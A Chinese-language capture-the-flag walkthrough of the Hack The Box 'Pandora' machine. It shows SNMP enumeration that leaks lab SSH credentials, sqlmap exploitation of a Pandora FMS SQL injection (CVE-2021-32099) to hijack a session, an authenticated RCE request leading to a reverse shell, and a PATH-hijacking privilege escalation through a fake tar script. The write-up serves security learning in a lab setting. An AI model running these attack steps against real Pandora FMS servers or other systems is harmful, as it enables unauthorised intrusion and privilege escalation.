Linux/Pandora

Pandora

Enumeration

nmap

第一次扫描发现系统对外开放了22和80端口,端口详细信息如下

访问80端口,显示PLAY是Panda.htb的扩展,将网络监控解决方案带到家门口

尝试添加Panda.htb到/etc/hosts中,访问得到的页面却是一样的,扫描目录依然没有什么收获,因为使用引导模式,回答问题时才得到提示,系统对外开放了udp端口,扫描一下常见的udp端口

sudo nmap -sU -top-ports=100 10.10.11.136

结果如下,可以看到161端口运行着snmp服务

SNMP

SNMP是简单网络管理协议(Simple Network Management Protocol),提供一个向设备询问其性能和配置的框架,用于管理和监控通过网络连接的所有设备。以被管理系统变量的形式公开管理数据,然后可以远程查询这些变量

可以使用snmpwalk程序来扫描snmp服务

snmpwalk -v 1 -c public 10.10.11.136

snmpwalk揭示了很多信息,主机信息,一些姓名,位置等信息

网络信息

还有监听端口信息、进程信息、已安装软件包列表等

最终,可以在其中发现一组用户名和密码daniel/HotelBabylon23

该凭据可以用作ssh登录的用户名和密码,登陆成功后,发现daniel目录什么都没有,但是matt目录中存在user.txt,可是无法打开

Lateral Movement

查看Apache的VHOST配置,发现存在一个pandora.conf,可以看到有一个/var/www/pandora的web监听在localhost:80,servername是pandora.panda.htb

可以使用端口转发将本地的9001端口连接到目标的80,因此重新登录ssh

ssh -L 9001:localhost:80 daniel@10.10.11.136

完成这一步后,就可以在本地直接访问http://127.0.0.1:9001,即可访问对应web,可以在标签页顶部以及网站首页看到应用程序的名字是Pandora FMS

在页面最底部可以看到版本信息

最先找到一个rce漏洞,但是需要认证,又发现存在sql注入,可以参考文章Pandora FMS 742: Critical Code Vulnerabilities Explained

文章描述重点放在SQL注入漏洞可以在没有任何访问权限的情况下被远程利用,并使攻击者能够完全绕过管理员身份验证,这最终使得能够在系统上执行任意代码。

Unauthenticated SQL Injection (CVE-2021-32099)

文章主要内容如下,url为/include/chart_generator.php,参数为session_id

我们可以尝试直接访问url,显示如下

但是当添加了session_id参数且在参数后添加了一个单引号,可以看到报错信息,而添加了两个单引号,页面没有报错,接下来可以利用sqlmap

sqlmap很容易就能找到问题,并且给出注入类型

sqlmap -u "http://127.0.0.1:9001/pandora_console/include/chart_generator.php?session_id=1"

接下来就一步一步从数据库到表最后到列,来获取敏感数据

--dbs

--tables -D "pandora"

一共找到了178张表,选择爆破tsessions_php表

-T "tsessions_php" -D "pandora" --dump

现在有了matt的session_id,访问对应的session_id

http://127.0.0.1:9001/pandora_console/include/chart_generator.php?session_id=g4e01qdgk36mfdh90hvcc54umq

然后再返回主页,发现已经成功以matt身份登录

RCE-CVE-2020-13851

登陆成功后,可以利用rce漏洞获取shell,参考Pandora FMS Community Multiple Vulnerabilities | CoreLabs Advisories

在左侧面板中单击“Events”>“View events”

其中有一个POST包如下所示

​
POST /pandora_console/ajax.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Length: 78
sec-ch-ua: "Chromium";v="107", "Not=A?Brand";v="24"
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://127.0.0.1:9001
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9001/pandora_console/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=fubuv7gp2qo3338lfbolq2kjmk
Connection: close

page=godmode%2Fsetup%2Fsetup_notifications&check_new_notifications=1&last_id=0

​

将包发送到repeater,在kali中开启监听,修改参数发送

在监听端会得到反弹shell

可以在matt目录中发现user.txt

Privilege Escalation

寻找设置了SUID的文件

然后在其中发现了/usr/bin/pandora_backup,看起来不一样

restricted shell environment

尝试执行该二进制文件,却发现了错误

该二进制文件设置了SUID位却无法以root身份运行。根据官方wp提示得知这是一个受限的shell,可以根据GTFOBins的提示来突破受限

然后再次执行/usr/bin/pandora_backup二进制文件,可以看到PandoraFMS的备份正在被创建

在程序执行时发现用到了tar,用于将数据压缩到名为pandorabackup.tar.gz的备份文件中,但是tar文件的使用的是相对路径,可以尝试

PATH variable hijacking

PATH 环境变量包含目录列表。因此,当运行二进制文件而不指定其绝对路径时,将从头到尾搜索 PATH 变量中列出的目录以查找该二进制文件,并运行第一个匹配的可执行文件。因此 PATH 变量开头的目录优先于后面的目录。现在,一个易受攻击的场景是未指定二进制文件的绝对路径。我们可以创建一个包含恶意命令的文件,并将文件名与要运行的二进制文件的文件名相同。我们还需要更改 PATH 变量,以便在搜索 PATH 变量中列出的目录时,我们的恶意文件是第一个匹配的文件。

在/tmp目录下创建一个tar文件,并写入如下代码

#!/bin/bash
/bin/bash

为tar添加执行权限后,修改远程系统上的PATH变量,在前面添加/tmp文件夹,让其成为第一个被搜索的路径

最后成功拿到root权限

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-03-28 22:38:03       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-28 22:38:03       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-28 22:38:03       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-28 22:38:03       18 阅读

热门阅读

  1. Milvus+ATTU环境搭建

    2024-03-28 22:38:03       24 阅读
  2. 深度挖掘Scrapy爬虫框架:进阶应用技巧

    2024-03-28 22:38:03       18 阅读
  3. 【华为OD机试】园区参观路径【C卷|100分】

    2024-03-28 22:38:03       17 阅读
  4. Redis基础命令集详解

    2024-03-28 22:38:03       18 阅读
  5. 大数据与AI:开启智能时代的融合之旅

    2024-03-28 22:38:03       17 阅读
  6. C 练习实例85-判断一个素数能被几个9整除

    2024-03-28 22:38:03       20 阅读
  7. Leetcode 665. 非递减数列

    2024-03-28 22:38:03       17 阅读
  8. 进程与线程(Thread)

    2024-03-28 22:38:03       18 阅读
  9. 【算法】拓扑排序

    2024-03-28 22:38:03       18 阅读
  10. 题目 2884: 矩阵乘法

    2024-03-28 22:38:03       19 阅读